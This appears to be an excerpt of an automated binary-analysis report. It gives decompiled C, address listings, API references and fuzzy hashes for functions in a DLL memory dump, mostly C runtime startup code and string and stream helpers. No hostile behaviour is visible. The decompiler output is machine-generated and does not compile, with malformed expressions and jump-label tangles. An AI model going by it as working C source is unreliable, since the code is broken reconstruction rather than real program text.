					 *0x1000d594 = _t29 - 1;
					 *((char*)(_t70 - 0x1c)) = E10008336();
					 *(_t70 - 4) =  *(_t70 - 4) & 0x00000000;
					if( *0x1000d26c != 2) {
						E10008F4A(_t63, __edi, __esi, 7);
						asm("int3");
						E10009070(0x1000b758, 0x10);
						_t65 =  *((intOrPtr*)(_t70 + 0xc));
						__eflags = _t65;
						if(_t65 != 0) {
							L10:
							 *(_t70 - 4) =  *(_t70 - 4) & 0x00000000;
							__eflags = _t65 - 1;
							if(_t65 == 1) {
								L13:
								_t67 =  *0x1000a270; // 0x0
								_t58 =  *((intOrPtr*)(_t70 + 0x10));
								__eflags = _t67;
								if(_t67 != 0) {
									_t59 = _t67;
									 *0x1000a22c( *((intOrPtr*)(_t70 + 8)), _t65, _t58);
									_t68 =  *_t67();
									 *((intOrPtr*)(_t70 - 0x1c)) = _t68;
									__eflags = _t68;
									if(_t68 != 0) {
										goto L16;
									}
								} else {
									 *((intOrPtr*)(_t70 - 0x1c)) = 1;
									L16:
									_t68 = E1000898F(_t59,  *((intOrPtr*)(_t70 + 8)), _t65, _t58);
									 *((intOrPtr*)(_t70 - 0x1c)) = _t68;
									__eflags = _t68;
									if(_t68 != 0) {
										goto L17;
									}
								}
							} else {
								__eflags = _t65 - 2;
								if(_t65 == 2) {
									goto L13;
								} else {
									_t58 =  *((intOrPtr*)(_t70 + 0x10));
									L17:
									_push(_t58);
									_push(_t65);
									_push( *((intOrPtr*)(_t70 + 8)));
									_t43 = E100081B0();
									_t68 = _t43;
									 *((intOrPtr*)(_t70 - 0x1c)) = _t68;
									__eflags = _t65 - 1;
									if(_t65 == 1) {
										__eflags = _t68;
										if(_t68 == 0) {
											_push(_t58);
											_push(_t43);
											_push( *((intOrPtr*)(_t70 + 8)));
											E100081B0();
											E1000898F(_t59,  *((intOrPtr*)(_t70 + 8)), _t68, _t58);
											_t49 =  *0x1000a270; // 0x0
											 *((intOrPtr*)(_t70 - 0x20)) = _t49;
											__eflags = _t49;
											if(_t49 != 0) {
												_t59 = _t49;
												 *0x1000a22c( *((intOrPtr*)(_t70 + 8)), _t68, _t58);
												 *((intOrPtr*)(_t70 - 0x20))();
											}
										}
									}
									__eflags = _t65;
									if(_t65 == 0) {
										L23:
										_t68 = E1000898F(_t59,  *((intOrPtr*)(_t70 + 8)), _t65, _t58);
										 *((intOrPtr*)(_t70 - 0x1c)) = _t68;
										__eflags = _t68;
										if(_t68 != 0) {
											_t69 =  *0x1000a270; // 0x0
											__eflags = _t69;
											if(_t69 != 0) {
												 *0x1000a22c( *((intOrPtr*)(_t70 + 8)), _t65, _t58);
												_t68 =  *_t69();
											} else {
												_t68 = _t69 + 1;
											}
											 *((intOrPtr*)(_t70 - 0x1c)) = _t68;
										}
									} else {
										__eflags = _t65 - 3;
										if(_t65 == 3) {
											goto L23;
										}
									}
								}
							}
							 *(_t70 - 4) = 0xfffffffe;
							_t40 = _t68;
						} else {
							__eflags =  *0x1000d594 - _t65; // 0x1
							if(__eflags > 0) {
								goto L10;
							} else {
								_t40 = 0;
							}
						}
						return E100090B6(_t40);
					} else {
						E10009194(E10008401());
						E100091F5();
						 *0x1000d26c =  *0x1000d26c & 0x00000000;
						 *(_t70 - 4) = 0xfffffffe;
						E10008B46();
						if(E100085BB( *((intOrPtr*)(_t70 + 8)), 0) == 0) {
							goto L4;
						} else {
							_t30 = 1;
						}
						L5:
						return E100090B6(_t30);
					}
				}
			}

0x10008adf
0x10008ae6
0x10008aeb
0x10008af2
0x10008b55
0x10008b55
0x10008b55
0x00000000
0x10008af4
0x10008af5
0x10008aff
0x10008b02
0x10008b0d
0x10008b5f
0x10008b64
0x10008b6c
0x10008b71
0x10008b74
0x10008b76
0x10008b87
0x10008b87
0x10008b8e
0x10008b90
0x10008b9c
0x10008b9c
0x10008ba2
0x10008ba5
0x10008ba7
0x10008bb3
0x10008bb5
0x10008bbd
0x10008bbf
0x10008bc2
0x10008bc4
0x00000000
0x00000000
0x10008ba9
0x10008ba9
0x10008bca
0x10008bd4
0x10008bd6
0x10008bd9
0x10008bdb
0x00000000
0x00000000
0x10008bdb
0x10008b92
0x10008b92
0x10008b95
0x00000000
0x10008b97
0x10008b97
0x10008be1
0x10008be1
0x10008be2
0x10008be3
0x10008be6
0x10008beb
0x10008bed
0x10008bf0
0x10008bf3
0x10008bf5
0x10008bf7
0x10008bf9
0x10008bfa
0x10008bfb
0x10008bfe
0x10008c08
0x10008c0d
0x10008c12
0x10008c15
0x10008c17
0x10008c1e
0x10008c20
0x10008c26
0x10008c26
0x10008c17
0x10008bf7
0x10008c29
0x10008c2b
0x10008c32
0x10008c3c
0x10008c3e
0x10008c41
0x10008c43
0x10008c45
0x10008c4b
0x10008c4d
0x10008c59
0x10008c61
0x10008c4f
0x10008c4f
0x10008c4f
0x10008c89
0x10008c89
0x10008c2d
0x10008c2d
0x10008c30
0x00000000
0x00000000
0x10008c30
0x10008c2b
0x10008b95
0x10008c8c
0x10008c93
0x10008b78
0x10008b78
0x10008b7e
0x00000000
0x10008b80
0x10008b80
0x10008b80
0x10008b7e
0x10008c9a
0x10008b0f
0x10008b14
0x10008b19
0x10008b1e
0x10008b25
0x10008b2c
0x10008b3f
0x00000000
0x10008b41
0x10008b43
0x10008b43
0x10008b57
0x10008b5c
0x10008b5c
0x10008b0d

APIs

___scrt_fastfail.LIBCMT ref: 10008B5F

Part of subcall function 10008401: _execute_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(1000D250,10008B14,1000B738,0000000C,100089DD,?,?,10008BD4,?,00000001,?), ref: 1000840F

Part of subcall function 10009194: __std_type_info_destroy_list.VCRUNTIME140(1000D5A8,10008B19,1000B738,0000000C,100089DD,?,?,10008BD4,?,00000001,?), ref: 10009199

__RTC_Initialize.LIBCMT ref: 10008B19

Part of subcall function 10008B46: ___scrt_release_startup_lock.LIBCMT ref: 10008B4E

___scrt_uninitialize_crt.LIBCMT ref: 10008B36
dllmain_crt_dispatch.LIBCMT ref: 10008BCF
dllmain_crt_dispatch.LIBCMT ref: 10008C08
dllmain_crt_dispatch.LIBCMT ref: 10008C37

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: dllmain_crt_dispatch$Initialize___scrt_fastfail___scrt_release_startup_lock___scrt_uninitialize_crt__std_type_info_destroy_list_execute_onexit_table
String ID:
API String ID: 3605017288-0
Opcode ID: 4818e4731d132902c07a7c345c43b253cc5091203ad49e1c95424e27e6f6265a
Instruction ID: b72aa8c5792778c33e3dcb3a90c4439f41cc25be4f7a92f9f7f3db4a0e0dcf08
Opcode Fuzzy Hash: 4818e4731d132902c07a7c345c43b253cc5091203ad49e1c95424e27e6f6265a
Instruction Fuzzy Hash: 2241CE75A05626EBFB21EF248C45BAE3AB5FB457D0F014124F88467259CB31AF028BA0

Uniqueness

Uniqueness Score: -1.00%

Function 100089E2, Relevance: 9.1, APIs: 6, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E100089E2(void* __ecx, void* __edx, void* __edi) {
				void* _t37;
				char _t38;
				intOrPtr* _t43;
				intOrPtr* _t44;
				intOrPtr* _t54;
				intOrPtr* _t57;
				intOrPtr* _t63;
				intOrPtr* _t70;
				void* _t81;
				char _t83;
				intOrPtr _t84;
				void* _t85;
				intOrPtr* _t86;
				void* _t93;
				void* _t96;
				intOrPtr* _t98;
				void* _t99;
				intOrPtr* _t100;
				intOrPtr* _t101;
				intOrPtr* _t102;
				intOrPtr* _t103;
				void* _t105;

				_t96 = __edx;
				_t85 = __ecx;
				E10009070(0x1000b718, 0x10);
				_t37 = E10008431(_t85, 0);
				_pop(_t86);
				if(_t37 == 0) {
					L11:
					_t38 = 0;
					__eflags = 0;
					goto L12;
				} else {
					 *((char*)(_t105 - 0x1d)) = E10008336();
					_t83 = 1;
					 *((char*)(_t105 - 0x19)) = 1;
					 *(_t105 - 4) =  *(_t105 - 4) & 0x00000000;
					if( *0x1000d26c != 0) {
						E10008F4A(_t96, __edi, _t99, 7);
						asm("int3");
						E10009070(0x1000b738, 0xc);
						_t43 =  *0x1000d594; // 0x1
						__eflags = _t43;
						if(_t43 <= 0) {
							L18:
							_t44 = 0;
							__eflags = 0;
							goto L19;
						} else {
							 *0x1000d594 = _t43 - 1;
							 *((char*)(_t105 - 0x1c)) = E10008336();
							 *(_t105 - 4) =  *(_t105 - 4) & 0x00000000;
							__eflags =  *0x1000d26c - 2;
							if( *0x1000d26c != 2) {
								E10008F4A(_t96, __edi, _t99, 7);
								asm("int3");
								E10009070(0x1000b758, 0x10);
								_t98 =  *((intOrPtr*)(_t105 + 0xc));
								__eflags = _t98;
								if(_t98 != 0) {
									L24:
									 *(_t105 - 4) =  *(_t105 - 4) & 0x00000000;
									__eflags = _t98 - 1;
									if(_t98 == 1) {
										L27:
										_t100 =  *0x1000a270; // 0x0
										_t84 =  *((intOrPtr*)(_t105 + 0x10));
										__eflags = _t100;
										if(_t100 != 0) {
											_t86 = _t100;
											 *0x1000a22c( *((intOrPtr*)(_t105 + 8)), _t98, _t84);
											_t101 =  *_t100();
											 *((intOrPtr*)(_t105 - 0x1c)) = _t101;
											__eflags = _t101;
											if(_t101 != 0) {
												goto L30;
											}
										} else {
											 *((intOrPtr*)(_t105 - 0x1c)) = 1;
											L30:
											_t101 = E1000898F(_t86,  *((intOrPtr*)(_t105 + 8)), _t98, _t84);
											 *((intOrPtr*)(_t105 - 0x1c)) = _t101;
											__eflags = _t101;
											if(_t101 != 0) {
												goto L31;
											}
										}
									} else {
										__eflags = _t98 - 2;
										if(_t98 == 2) {
											goto L27;
										} else {
											_t84 =  *((intOrPtr*)(_t105 + 0x10));
											L31:
											_push(_t84);
											_push(_t98);
											_push( *((intOrPtr*)(_t105 + 8)));
											_t57 = E100081B0();
											_t101 = _t57;
											 *((intOrPtr*)(_t105 - 0x1c)) = _t101;
											__eflags = _t98 - 1;
											if(_t98 == 1) {
												__eflags = _t101;
												if(_t101 == 0) {
													_push(_t84);
													_push(_t57);
													_push( *((intOrPtr*)(_t105 + 8)));
													E100081B0();
													E1000898F(_t86,  *((intOrPtr*)(_t105 + 8)), _t101, _t84);
													_t63 =  *0x1000a270; // 0x0
													 *((intOrPtr*)(_t105 - 0x20)) = _t63;
													__eflags = _t63;
													if(_t63 != 0) {
														_t86 = _t63;
														 *0x1000a22c( *((intOrPtr*)(_t105 + 8)), _t101, _t84);
														 *((intOrPtr*)(_t105 - 0x20))();
													}
												}
											}
											__eflags = _t98;
											if(_t98 == 0) {
												L37:
												_t101 = E1000898F(_t86,  *((intOrPtr*)(_t105 + 8)), _t98, _t84);
												 *((intOrPtr*)(_t105 - 0x1c)) = _t101;
												__eflags = _t101;
												if(_t101 != 0) {
													_t102 =  *0x1000a270; // 0x0
													__eflags = _t102;
													if(_t102 != 0) {
														 *0x1000a22c( *((intOrPtr*)(_t105 + 8)), _t98, _t84);
														_t101 =  *_t102();
													} else {
														_t101 = _t102 + 1;
													}
													 *((intOrPtr*)(_t105 - 0x1c)) = _t101;
												}
											} else {
												__eflags = _t98 - 3;
												if(_t98 == 3) {
													goto L37;
												}
											}
										}
									}
									 *(_t105 - 4) = 0xfffffffe;
									_t54 = _t101;
								} else {
									__eflags =  *0x1000d594 - _t98; // 0x1
									if(__eflags > 0) {
										goto L24;
									} else {
										_t54 = 0;
									}
								}
								return E100090B6(_t54);
							} else {
								E10009194(E10008401());
								E100091F5();
								 *0x1000d26c =  *0x1000d26c & 0x00000000;
								 *(_t105 - 4) = 0xfffffffe;
								E10008B46();
								_t70 = E100085BB( *((intOrPtr*)(_t105 + 8)), 0);
								__eflags = _t70;
								if(_t70 == 0) {
									goto L18;
								} else {
									_t44 = 1;
								}
								L19:
								return E100090B6(_t44);
							}
						}
					} else {
						 *0x1000d26c = 1;
						if(E10008393() != 0) {
							E10009188(E100091C9());
							_t81 = E100091A6();
							_push(0x1000a248);
							L10009293();
							_t93 = 0x1000a244;
							if(_t81 == 0 && E10008368(_t93) != 0) {
								_push(0x1000a240);
								_push( &E1000A230);
								L1000928D();
								 *0x1000d26c = 2;
								_t83 = 0;
								 *((char*)(_t105 - 0x19)) = 0;
							}
						}
						 *(_t105 - 4) = 0xfffffffe;
						E10008AC5();
						if(_t83 != 0) {
							goto L11;
						} else {
							_t103 = E100091C3();
							if( *_t103 != 0) {
								_push(_t103);
								if(E10008514() != 0) {
									 *0x1000a22c( *((intOrPtr*)(_t105 + 8)), 2,  *((intOrPtr*)(_t105 + 0xc)));
									 *((intOrPtr*)( *_t103))();
								}
							}
							 *0x1000d594 =  *0x1000d594 + 1;
							_t38 = 1;
						}
						L12:
						return E100090B6(_t38);
					}
				}
			}

0x100089e2
0x100089e2
0x100089e9
0x100089f0
0x100089f5
0x100089f8
0x10008acf
0x10008acf
0x10008acf
0x00000000
0x100089fe
0x10008a03
0x10008a06
0x10008a08
0x10008a0b
0x10008a16
0x10008ad9
0x10008ade
0x10008ae6
0x10008aeb
0x10008af0
0x10008af2
0x10008b55
0x10008b55
0x10008b55
0x00000000
0x10008af4
0x10008af5
0x10008aff
0x10008b02
0x10008b06
0x10008b0d
0x10008b5f
0x10008b64
0x10008b6c
0x10008b71
0x10008b74
0x10008b76
0x10008b87
0x10008b87
0x10008b8e
0x10008b90
0x10008b9c
0x10008b9c
0x10008ba2
0x10008ba5
0x10008ba7
0x10008bb3
0x10008bb5
0x10008bbd
0x10008bbf
0x10008bc2
0x10008bc4
0x00000000
0x00000000
0x10008ba9
0x10008ba9
0x10008bca
0x10008bd4
0x10008bd6
0x10008bd9
0x10008bdb
0x00000000
0x00000000
0x10008bdb
0x10008b92
0x10008b92
0x10008b95
0x00000000
0x10008b97
0x10008b97
0x10008be1
0x10008be1
0x10008be2
0x10008be3
0x10008be6
0x10008beb
0x10008bed
0x10008bf0
0x10008bf3
0x10008bf5
0x10008bf7
0x10008bf9
0x10008bfa
0x10008bfb
0x10008bfe
0x10008c08
0x10008c0d
0x10008c12
0x10008c15
0x10008c17
0x10008c1e
0x10008c20
0x10008c26
0x10008c26
0x10008c17
0x10008bf7
0x10008c29
0x10008c2b
0x10008c32
0x10008c3c
0x10008c3e
0x10008c41
0x10008c43
0x10008c45
0x10008c4b
0x10008c4d
0x10008c59
0x10008c61
0x10008c4f
0x10008c4f
0x10008c4f
0x10008c89
0x10008c89
0x10008c2d
0x10008c2d
0x10008c30
0x00000000
0x00000000
0x10008c30
0x10008c2b
0x10008b95
0x10008c8c
0x10008c93
0x10008b78
0x10008b78
0x10008b7e
0x00000000
0x10008b80
0x10008b80
0x10008b80
0x10008b7e
0x10008c9a
0x10008b0f
0x10008b14
0x10008b19
0x10008b1e
0x10008b25
0x10008b2c
0x10008b36
0x10008b3d
0x10008b3f
0x00000000
0x10008b41
0x10008b43
0x10008b43
0x10008b57
0x10008b5c
0x10008b5c
0x10008b0d
0x10008a1c
0x10008a1c
0x10008a2d
0x10008a34
0x10008a39
0x10008a3e
0x10008a48
0x10008a4e
0x10008a51
0x10008a5c
0x10008a61
0x10008a66
0x10008a6d
0x10008a77
0x10008a79
0x10008a79
0x10008a51
0x10008a7c
0x10008a83
0x10008a8a
0x00000000
0x10008a8c
0x10008a91
0x10008a96
0x10008a98
0x10008aa1
0x10008aaf
0x10008ab5
0x10008ab5
0x10008aa1
0x10008ab7
0x10008abf
0x10008abf
0x10008ad1
0x10008ad6
0x10008ad6
0x10008a16

APIs

__RTC_Initialize.LIBCMT ref: 10008A2F

Part of subcall function 10009188: InitializeSListHead.KERNEL32(1000D5A8,10008A39,1000B718,00000010,100089CA,?,?,?,10008BD4,?,00000001,?), ref: 1000918D

___scrt_initialize_default_local_stdio_options.LIBCMT ref: 10008A39
_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(1000A244,1000A248,1000B718,00000010,100089CA,?,?,?,10008BD4,?,00000001,?), ref: 10008A48
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(1000A230,1000A240,1000B718,00000010,100089CA,?,?,?,10008BD4,?,00000001,?), ref: 10008A66
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 10008A99
___scrt_fastfail.LIBCMT ref: 10008AD9

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Initialize$HeadList___scrt_fastfail___scrt_initialize_default_local_stdio_options___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 598268558-0
Opcode ID: cef1d95ab4472f261aafe379f6ae6046481265cae3224413abf36b03ade51996
Instruction ID: 89fec03aa1bf55bd2aefba5341c6bd52dedba232e891585d5f02420f86841054
Opcode Fuzzy Hash: cef1d95ab4472f261aafe379f6ae6046481265cae3224413abf36b03ade51996
Instruction Fuzzy Hash: 3411B139649352AEFB00EBB88C0679D27A2EF172E5F144056E5C0274CFCB616744DB63

Uniqueness

Uniqueness Score: -1.00%

Function 10007BE0, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 10007CC3
memcpy.VCRUNTIME140(00000000,?,?,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 10007D0A

Part of subcall function 1000829F: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,10007CA0,00000000,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 100082B4

memcpy.VCRUNTIME140(?,10003B99,10003B9A,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 10007D33
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 10007D73

Strings

string too long, xrefs: 10007BD0

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnmalloc
String ID: string too long
API String ID: 996696-2556327735
Opcode ID: 9a15f0818c95ae065423e608c1dc165812b234ccefd2fa532f55e7ef22b40bed
Instruction ID: 96d7b4425fdc940aed69e0e0c114300ab389c41f4631f635d7dde294573f3066
Opcode Fuzzy Hash: 9a15f0818c95ae065423e608c1dc165812b234ccefd2fa532f55e7ef22b40bed
Instruction Fuzzy Hash: B341F772E006049BF728CF78D88096EB7F6FF84290B20073EE55AC7289EB34A9558751

Uniqueness

Uniqueness Score: -1.00%

Function 10006610, Relevance: 7.7, APIs: 5, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E10006610(void* __ebx, signed int __ecx, void* __edi, void* __esi, signed int _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				int _v21;
				intOrPtr _v28;
				char _v32;
				char _v48;
				char _v52;
				char _v56;
				int _v60;
				char _v64;
				void* __ebp;
				signed int _t73;
				signed int _t74;
				signed int _t76;
				void* _t85;
				intOrPtr _t88;
				int _t104;
				signed int _t112;
				signed int _t113;
				int _t116;
				signed int _t120;
				signed int _t125;
				int _t128;
				intOrPtr _t129;
				signed int _t131;
				intOrPtr _t133;
				signed int _t134;
				char* _t139;
				char _t141;
				char _t142;
				intOrPtr _t144;
				intOrPtr* _t146;
				intOrPtr _t148;
				void* _t150;
				intOrPtr* _t151;
				signed int _t152;
				void* _t153;
				void* _t154;

				_push(0xffffffff);
				_push(E100098B8);
				_push( *[fs:0x0]);
				_t154 = _t153 - 0x30;
				_t73 =  *0x1000d004; // 0x98f8ac3b
				_t74 = _t73 ^ _t152;
				_v20 = _t74;
				_push(_t74);
				 *[fs:0x0] =  &_v16;
				_t112 = __ecx;
				_t116 = _a4;
				if(_t116 != 0xffffffff) {
					_t76 =  *(__ecx + 0x20);
					_t135 =  *_t76;
					if(_t135 == 0) {
						L5:
						if( *(_t112 + 0x4c) != 0) {
							_t146 =  *((intOrPtr*)(_t112 + 0xc));
							if( *_t146 == _t112 + 0x3c) {
								_t133 =  *((intOrPtr*)(_t112 + 0x50));
								 *_t146 = _t133;
								_t135 =  *((intOrPtr*)(_t112 + 0x54)) - _t133;
								 *((intOrPtr*)( *((intOrPtr*)(_t112 + 0x1c)))) = _t133;
								_t116 = _a4;
								 *((intOrPtr*)( *((intOrPtr*)(_t112 + 0x2c)))) =  *((intOrPtr*)(_t112 + 0x54)) - _t133;
							}
							if( *(_t112 + 0x38) != 0) {
								_push(0);
								_v21 = _t116;
								_v32 = 0;
								_v28 = 0xf;
								_v48 = 0;
								E10006B80(_t112,  &_v48, _t135, 8);
								_v8 = 0;
								while(1) {
									L12:
									_t141 = _v48;
									while(1) {
										_t137 =  >=  ? _t141 :  &_v48;
										_t119 =  >=  ? _t141 :  &_v48;
										_t81 = _v32 + ( >=  ? _t141 :  &_v48);
										_t120 =  *(_t112 + 0x38);
										_t85 = _t112 + 0x40;
										__imp__?out@?$codecvt@DDU_Mbstatet@@@std@@QBEHAAU_Mbstatet@@PBD1AAPBDPAD3AAPAD@Z(_t85,  &_v21,  &_v20,  &_v56,  >=  ? _t141 :  &_v48, _v32 + ( >=  ? _t141 :  &_v48),  &_v52);
										if(_t85 < 0) {
											break;
										}
										if(_t85 > 1) {
											if(_t85 != 3) {
												break;
											}
											fputc(_v21,  *(_t112 + 0x4c));
											_t148 = _v28;
											_t125 = _t120 | 0xffffffff;
											_t142 = _v48;
											_t154 = _t154 + 8;
											_t126 =  !=  ? _a4 : _t125;
											_t113 =  !=  ? _a4 : _t125;
											L28:
											if(_t148 >= 0x10) {
												_t150 = _t148 + 1;
												_t88 = _t142;
												if(_t150 >= 0x1000) {
													_t142 =  *((intOrPtr*)(_t142 - 4));
													_t150 = _t150 + 0x23;
													if(_t88 > 0x1f) {
														__imp___invalid_parameter_noinfo_noreturn();
													}
												}
												_push(_t150);
												E10008291(_t88, _t142);
											}
											_t86 = _t113;
											goto L34;
										}
										_t148 = _v28;
										_t142 = _v48;
										_t94 =  >=  ? _t142 :  &_v48;
										_t128 = _v52 - ( >=  ? _t142 :  &_v48);
										_v60 = _t128;
										if(_t128 == 0) {
											L17:
											 *((char*)(_t112 + 0x3d)) = 1;
											if(_v56 !=  &_v21) {
												_t113 = _a4;
												goto L28;
											}
											if(_t128 != 0) {
												continue;
											}
											_t129 = _v32;
											if(_t129 >= 0x20) {
												L27:
												_t113 = _t112 | 0xffffffff;
												goto L28;
											}
											if(_t148 - _t129 < 8) {
												_push(0);
												_v64 = 0;
												E10007880(_t112,  &_v48, _t142, 8, _v64, 8);
											} else {
												_t53 = _t129 + 8; // 0x8
												_v32 = _t53;
												asm("xorps xmm0, xmm0");
												_t101 =  >=  ? _t142 :  &_v48;
												asm("movq [eax+ecx], xmm0");
												 *((char*)(( >=  ? _t142 :  &_v48) + _t129 + 8)) = 0;
											}
											goto L12;
										}
										_t103 =  >=  ? _t142 :  &_v48;
										_t104 = fwrite( >=  ? _t142 :  &_v48, 1, _t128,  *(_t112 + 0x4c));
										_t128 = _v60;
										_t154 = _t154 + 0x10;
										_t148 = _v28;
										_t142 = _v48;
										if(_t128 != _t104) {
											goto L27;
										}
										goto L17;
									}
									_t148 = _v28;
									_t142 = _v48;
									goto L27;
								}
							} else {
								fputc(_t116,  *(_t112 + 0x4c));
								_t131 = _t116 | 0xffffffff;
								_t132 =  !=  ? _a4 : _t131;
								_t86 =  !=  ? _a4 : _t131;
								goto L34;
							}
						}
						_t86 = _t76 | 0xffffffff;
						goto L34;
					}
					_t151 =  *((intOrPtr*)(__ecx + 0x30));
					_t144 =  *_t151;
					_t76 = _t144 + _t135;
					if(_t135 >= _t76) {
						goto L5;
					}
					 *_t151 = _t144 - 1;
					_t134 =  *(__ecx + 0x20);
					_t139 =  *_t134;
					 *_t134 = _t139 + 1;
					_t86 = _a4;
					 *_t139 = _a4;
					goto L34;
				} else {
					_t86 = 0;
					L34:
					 *[fs:0x0] = _v16;
					return E10008280(_t86, _v20 ^ _t152);
				}
			}

0x10006613
0x10006615
0x10006620
0x10006621
0x10006624
0x10006629
0x1000662b
0x10006631
0x10006635
0x1000663b
0x1000663d
0x10006643
0x1000664c
0x1000664f
0x10006653
0x1000667a
0x1000667e
0x10006688
0x10006690
0x10006692
0x10006698
0x1000669a
0x1000669f
0x100066a4
0x100066a7
0x100066a7
0x100066ad
0x100066cf
0x100066d1
0x100066d9
0x100066e0
0x100066e7
0x100066eb
0x100066f0
0x100066f7
0x100066f7
0x100066fa
0x10006700
0x1000670d
0x10006713
0x10006716
0x1000671a
0x10006729
0x1000672d
0x10006735
0x00000000
0x00000000
0x1000673e
0x100067ef
0x00000000
0x00000000
0x100067f9
0x100067ff
0x10006802
0x10006805
0x10006808
0x1000680d
0x10006811
0x1000681e
0x10006821
0x10006823
0x10006824
0x1000682c
0x1000682e
0x10006831
0x1000683c
0x1000683e
0x1000683e
0x1000683c
0x10006844
0x10006846
0x1000684b
0x1000684e
0x00000000
0x1000684e
0x10006744
0x1000674a
0x10006753
0x10006756
0x10006758
0x1000675b
0x10006787
0x1000678a
0x10006791
0x100067e7
0x00000000
0x100067e7
0x10006795
0x00000000
0x00000000
0x1000679b
0x100067a1
0x1000681b
0x1000681b
0x00000000
0x1000681b
0x100067aa
0x100067cd
0x100067d1
0x100067dd
0x100067ac
0x100067ac
0x100067b2
0x100067b5
0x100067bb
0x100067be
0x100067c3
0x100067c3
0x00000000
0x100067aa
0x10006767
0x1000676d
0x10006773
0x10006776
0x10006779
0x1000677c
0x10006781
0x00000000
0x00000000
0x00000000
0x10006781
0x10006815
0x10006818
0x00000000
0x10006818
0x100066af
0x100066b6
0x100066bc
0x100066c4
0x100066c8
0x00000000
0x100066c8
0x100066ad
0x10006680
0x00000000
0x10006680
0x10006655
0x10006658
0x1000665a
0x1000665f
0x00000000
0x00000000
0x10006664
0x10006666
0x10006669
0x1000666e
0x10006670
0x10006673
0x00000000
0x10006645
0x10006645
0x10006850
0x10006853
0x1000686b
0x1000686b

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45e90d9416f20051bb707f35d417c42512f6d2a5db51d0727199de4ae295adc6
Instruction ID: ca3b6dd19dbdb0270b079e30f51a21bc58b2ec8c7dfed17ac4a36ea28d3ee1f1
Opcode Fuzzy Hash: 45e90d9416f20051bb707f35d417c42512f6d2a5db51d0727199de4ae295adc6
Instruction Fuzzy Hash: EE81A231E00109DFEF04CF68CC84A9DB7B6FF49350F648269E955AB285DB31A944CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10007880, Relevance: 7.6, APIs: 5, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E10007880(void* __ebx, void* __ecx, void* __edi, intOrPtr _a4, int _a12, char _a16) {
				int _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v36;
				void* _v48;
				intOrPtr _v56;
				signed int _t80;
				signed int _t82;
				unsigned int _t84;
				void* _t85;
				void* _t100;
				void* _t101;
				signed int _t103;
				signed int _t104;
				unsigned int _t106;
				void* _t107;
				void* _t123;
				void* _t124;
				intOrPtr _t126;
				void* _t129;
				signed int _t141;
				void* _t143;
				signed int _t148;
				void* _t150;
				signed int _t151;
				signed int _t152;
				void* _t153;
				void* _t155;
				void* _t158;
				signed int _t163;
				void* _t164;
				void* _t166;
				intOrPtr _t169;
				void* _t170;
				signed int _t174;
				void* _t175;
				void* _t177;
				void* _t179;
				void* _t186;
				void* _t187;
				void* _t194;

				_t128 = __ecx;
				_t169 = _a4;
				_t151 =  *(__ecx + 0x10);
				_v8 = _t151;
				if(0x7fffffff - _t151 < _t169) {
					L10007BD0(0x7fffffff);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t187 = _t186 - 0x10;
					_push(__ecx);
					_t129 = 0x7fffffff;
					_v48 = _v16;
					_push(_t169);
					_t152 =  *0x8000000F;
					_t170 = _v24;
					_v36 = _t152;
					__eflags = 0x7fffffff - _t152 - _t170;
					if(0x7fffffff - _t152 < _t170) {
						L10007BD0(0x7fffffff);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("xorps xmm0, xmm0");
						 *0x7fffffff = 0x1000a278;
						asm("movq [eax], xmm0");
						_t80 = _v56 + 4;
						__eflags = _t80;
						__imp____std_exception_copy(_t80, 0x80000003, _t170);
						 *0x7fffffff = 0x1000a720;
						return 0x7fffffff;
					} else {
						_t158 =  *0x80000013;
						_t82 = _t152 + _t170;
						_v16 = _t82;
						_t174 = _t82 | 0x0000000f;
						_v20 = _t158;
						__eflags = _t174 - 0x7fffffff;
						if(__eflags <= 0) {
							_t84 = _t158 >> 1;
							__eflags = _t158 - 0x7fffffff - _t84;
							if(__eflags <= 0) {
								_t85 = _t158 + _t84;
								__eflags = _t174 - _t85;
								_t175 =  <  ? _t85 : _t174;
							} else {
								_t175 = 0x7fffffff;
							}
						} else {
							_t175 = 0x7fffffff;
						}
						_t141 =  ~(0 | __eflags > 0x00000000) | _t175 + 0x00000001;
						__eflags = _t141 - 0x1000;
						if(_t141 < 0x1000) {
							__eflags = _t141;
							if(_t141 == 0) {
								_t158 = 0;
